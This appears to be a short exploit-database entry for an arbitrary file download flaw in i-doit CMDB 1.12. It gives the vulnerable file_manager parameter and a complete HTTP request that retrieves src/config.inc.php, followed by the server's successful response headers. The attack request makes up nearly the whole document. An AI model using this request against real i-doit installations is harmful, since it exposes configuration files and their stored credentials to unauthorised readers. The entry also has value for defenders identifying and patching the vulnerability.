i-doit CMDB 1.12 Arbitrary File Download

`# Exploit Title: i-doit CMDB 1.12 - Arbitrary File Download  
# Dork: N/A  
# Date: 2019-01-11  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: https://www.i-doit.org/  
# Software Link: https://netcologne.dl.sourceforge.net/project/i-doit/i-doit/1.12/idoit-open-1.12.zip  
# Version: 1.12  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]/index.php?file_manager=image&file=[FILE]  
# Users..  
#   
  
GET /[PATH]/index.php?file_manager=image&file=src/config.inc.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=h6qbu3jsemq9en8c3epiri8323  
Connection: keep-alive  
HTTP/1.1 200 OK  
Date: Sat, 12 Jan 2019 17:30:16 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Expires: Sat, 12 Jan 2019 19:30:17 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
i-doit-Authorized: 1  
Last-Modified: Sat, 12 Jan 2019 17:30:17 GMT  
Content-Length: 1282  
Content-Disposition: inline; filename="src/config.inc.php"  
Content-Transfer-Encoding: binary  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: application/octet-stream  
  
`